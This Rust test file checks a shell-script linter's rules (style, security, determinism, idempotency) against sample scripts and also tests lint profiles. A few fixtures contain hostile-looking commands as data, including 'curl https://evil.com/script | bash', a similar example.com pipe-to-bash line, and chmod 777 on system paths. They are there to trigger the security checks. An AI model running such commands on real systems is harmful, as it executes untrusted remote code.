#![allow(clippy::unwrap_used)]
#![allow(clippy::expect_used)]
use crate::linter::output::{write_results, OutputFormat};
use crate::linter::rules::{lint_shell, lint_shell_with_path, LintProfile};
use crate::linter::{Diagnostic, Fix, LintResult, Severity, Span};
use std::path::Path;
#[test]
fn test_lint_shell_large_script_many_rules() {
let script = r#"#!/bin/bash
# A complex script that should trigger many rules
TMPFILE=/tmp/myapp_$$
echo $RANDOM > $TMPFILE
curl -s https://example.com/setup | bash
mkdir /opt/myapp
chmod 777 /opt/myapp
ln -s /opt/myapp /usr/local/myapp
cat file.txt | grep pattern
eval "echo $PATH"
read name
echo $name
cd /tmp
date +%s
for f in *.log; do
rm $f
done
"#;
let result = lint_shell(script);
assert!(
result.diagnostics.len() >= 3,
"Complex script should trigger multiple diagnostics, got {}",
result.diagnostics.len()
);
let codes: std::collections::HashSet<&str> =
result.diagnostics.iter().map(|d| d.code.as_str()).collect();
assert!(
codes.len() >= 2,
"Should trigger multiple distinct rule codes, got {:?}",
codes
);
}
#[test]
fn test_lint_shell_clean_script_minimal_diagnostics() {
let script = r#"#!/bin/sh
set -eu
readonly CONFIG_DIR="/etc/myapp"
mkdir -p "$CONFIG_DIR"
printf '%s\n' "Configured" > "${CONFIG_DIR}/status"
"#;
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_suppression_comment() {
let script = "# shellcheck disable=SC2086\necho $VAR\n";
let result = lint_shell(script);
assert!(
!result.diagnostics.iter().any(|d| d.code == "SC2086"),
"SC2086 should be suppressed by shellcheck disable comment"
);
}
#[test]
fn test_lint_shell_embedded_awk() {
let script = "awk '{ print $1 }' file.txt\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_embedded_sed() {
let script = "sed 's/foo/bar/g' file.txt\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_embedded_perl() {
let script = "perl -ne 'print if /pattern/' file.txt\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_case_statement() {
let script = r#"case "$1" in
start) echo "starting";;
stop) echo "stopping";;
*) echo "unknown";;
esac
"#;
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_while_loop_with_pipe() {
let script = "cat file.txt | while read line; do echo \"$line\"; done\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_nested_if() {
let script = r#"if [ -f /tmp/a ]; then
if [ -f /tmp/b ]; then
echo "both exist"
fi
fi
"#;
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_for_c_style() {
let script = "for ((i=0; i<10; i++)); do echo $i; done\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_process_substitution() {
let script = "diff <(sort file1) <(sort file2)\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_associative_array() {
let script = "declare -A map\nmap[key]=value\necho ${map[key]}\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_multiple_assignment() {
let script = "a=1 b=2 c=3\necho $a $b $c\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_here_string() {
let script = "grep pattern <<< \"$input\"\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_pipe_chain() {
let script = "cat /etc/passwd | grep root | cut -d: -f1 | sort | uniq\n";
let result = lint_shell(script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_comprehensive_sc2xxx_triggers() {
let script = r#"#!/bin/bash
# SC2002: useless cat
cat file | grep x
# SC2006: backticks
x=`date`
# SC2086: unquoted variable
echo $x
# SC2046: unquoted command substitution
files=$(ls *.txt)
echo $files
# SC2164: cd without check
cd /nonexistent
# SC2162: read without -r
read line
# SC2059: printf variable as format
printf $line
# SC2028: echo with backslash
echo "hello\nworld"
# SC2039: bash-only features in /bin/bash (NotSh)
[[ -f /tmp/x ]]
# SC2148: missing shebang check (has one)
"#;
let result = lint_shell(script);
assert!(
result.diagnostics.len() >= 3,
"Should trigger multiple diagnostics, got {}",
result.diagnostics.len()
);
}
#[test]
fn test_lint_shell_very_long_script() {
let mut script = String::from("#!/bin/bash\nset -euo pipefail\n\n");
for i in 0..50 {
script.push_str(&format!("var_{}=\"value_{}\"\n", i, i));
script.push_str(&format!("echo \"$var_{}\"\n", i));
}
script.push_str("wait\n");
let result = lint_shell(&script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_result_has_diagnostic_fields() {
let script = "echo $RANDOM\n";
let result = lint_shell(script);
for diag in &result.diagnostics {
assert!(!diag.code.is_empty(), "Diagnostic code should not be empty");
assert!(
!diag.message.is_empty(),
"Diagnostic message should not be empty"
);
assert!(diag.span.start_line >= 1, "Diagnostic line should be >= 1");
}
}
#[test]
fn test_lint_shell_result_diagnostics_sorted_by_line() {
let script = "echo $RANDOM\nmkdir /tmp/x\necho $$\n";
let result = lint_shell(script);
assert!(
!result.diagnostics.is_empty(),
"Should have at least one diagnostic"
);
}
#[test]
fn test_lint_shell_with_path_bash() {
let result = lint_shell_with_path(Path::new("test.bash"), "echo $VAR\n");
assert!(result.diagnostics.iter().any(|d| d.code == "SC2086"));
}
#[test]
fn test_lint_shell_with_path_sh() {
let result = lint_shell_with_path(Path::new("test.sh"), "echo $VAR\n");
assert!(result.diagnostics.iter().any(|d| d.code == "SC2086"));
}
#[test]
fn test_lint_shell_with_path_zsh() {
let result = lint_shell_with_path(Path::new("test.zsh"), "echo $VAR\n");
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_ksh() {
let result = lint_shell_with_path(Path::new("test.ksh"), "echo $VAR\n");
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_bashrc() {
let result = lint_shell_with_path(
Path::new(".bashrc"),
"export PATH=$HOME/bin:$PATH\nalias ll='ls -la'\n",
);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_zshrc() {
let result = lint_shell_with_path(
Path::new(".zshrc"),
"export PATH=$HOME/bin:$PATH\nalias ll='ls -la'\n",
);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_profile() {
let result = lint_shell_with_path(
Path::new("/etc/profile"),
"export PATH=/usr/local/bin:$PATH\n",
);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_no_extension() {
let result = lint_shell_with_path(Path::new("script"), "#!/bin/bash\necho $VAR\n");
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_complex_bash() {
let script = r#"#!/bin/bash
set -euo pipefail
arr=(one two three)
for item in "${arr[@]}"; do
echo "$item"
done
[[ -f /tmp/x ]] && echo "exists"
"#;
let result = lint_shell_with_path(Path::new("deploy.bash"), script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_posix_sh_strict() {
let script = "#!/bin/sh\necho \"$HOME\"\ntest -f /tmp/x && echo yes\n";
let result = lint_shell_with_path(Path::new("test.sh"), script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_sh_empty() {
let result = lint_shell_with_path(Path::new("empty.sh"), "");
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_bash_empty() {
let result = lint_shell_with_path(Path::new("empty.bash"), "");
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_sh_security_rules() {
let script = "curl https://evil.com/script | bash\nchmod 777 /etc/config\n";
let result = lint_shell_with_path(Path::new("install.sh"), script);
assert!(
result.diagnostics.iter().any(|d| d.code.starts_with("SEC")),
"Security rules should fire for .sh path"
);
}
#[test]
fn test_lint_shell_with_path_bash_det_rules() {
let script = "#!/bin/bash\necho $RANDOM\necho $$\n";
let result = lint_shell_with_path(Path::new("script.bash"), script);
assert!(
result.diagnostics.iter().any(|d| d.code.starts_with("DET")),
"DET rules should fire for .bash path"
);
}
#[test]
fn test_lint_shell_with_path_sh_idem_rules() {
let script = "#!/bin/sh\nmkdir /tmp/test\n";
let result = lint_shell_with_path(Path::new("setup.sh"), script);
assert!(
result
.diagnostics
.iter()
.any(|d| d.code.starts_with("IDEM")),
"IDEM rules should fire for .sh path"
);
}
#[test]
fn test_lint_shell_with_path_shellcheck_directive() {
let script = "#!/bin/sh\n# shellcheck shell=bash\necho $VAR\n";
let result = lint_shell_with_path(Path::new("script.sh"), script);
let _count = result.diagnostics.len();
}
#[test]
fn test_lint_shell_with_path_large_bash_script() {
let script = r#"#!/bin/bash
set -euo pipefail
# Variables
x=hello
echo $x
y=`date`
cat file | grep pattern
echo "$y"
# Arithmetic
z=$((1 + 2))
if [[ $z -gt 0 ]]; then
echo "positive"
fi
# Functions
function myfunc() {
local a=1
echo $a
}
myfunc
# Arrays
arr=(one two three)
echo ${arr[@]}
# Security
chmod 777 /tmp/test
# Idempotency
mkdir /tmp/test2
# Determinism
echo $RANDOM
# Trap
trap "rm -f /tmp/lock" EXIT
# Redirect
cmd > /dev/null 2>&1
# For loop
for f in *.txt; do echo $f; done
"#;
let result = lint_shell_with_path(Path::new("big_script.bash"), script);
assert!(
result.diagnostics.len() >= 3,
"Large bash script should trigger many diagnostics via filtered path, got {}",
result.diagnostics.len()
);
}
#[test]
fn test_lint_shell_with_path_large_sh_script() {
let script = r#"#!/bin/sh
x=hello
echo $x
cat file | grep pattern
z=$((1 + 2))
mkdir /tmp/test
echo $RANDOM
chmod 777 /tmp/test
trap "rm -f /tmp/lock" EXIT
for f in *.txt; do echo $f; done
"#;
let result = lint_shell_with_path(Path::new("big_script.sh"), script);
assert!(
result.diagnostics.len() >= 2,
"Large sh script should trigger diagnostics, got {}",
result.diagnostics.len()
);
}
#[test]
fn test_lint_profile_from_str() {
assert_eq!(
"standard".parse::<LintProfile>().unwrap(),
LintProfile::Standard
);
assert_eq!(
"default".parse::<LintProfile>().unwrap(),
LintProfile::Standard
);
assert_eq!(
"coursera".parse::<LintProfile>().unwrap(),
LintProfile::Coursera
);
assert_eq!(
"coursera-labs".parse::<LintProfile>().unwrap(),
LintProfile::Coursera
);
assert_eq!(
"devcontainer".parse::<LintProfile>().unwrap(),
LintProfile::DevContainer
);
assert_eq!(
"dev-container".parse::<LintProfile>().unwrap(),
LintProfile::DevContainer
);
assert!("invalid".parse::<LintProfile>().is_err());
assert!("UNKNOWN".parse::<LintProfile>().is_err());
}
#[test]
fn test_lint_profile_display() {
assert_eq!(LintProfile::Standard.to_string(), "standard");
assert_eq!(LintProfile::Coursera.to_string(), "coursera");
assert_eq!(LintProfile::DevContainer.to_string(), "devcontainer");
}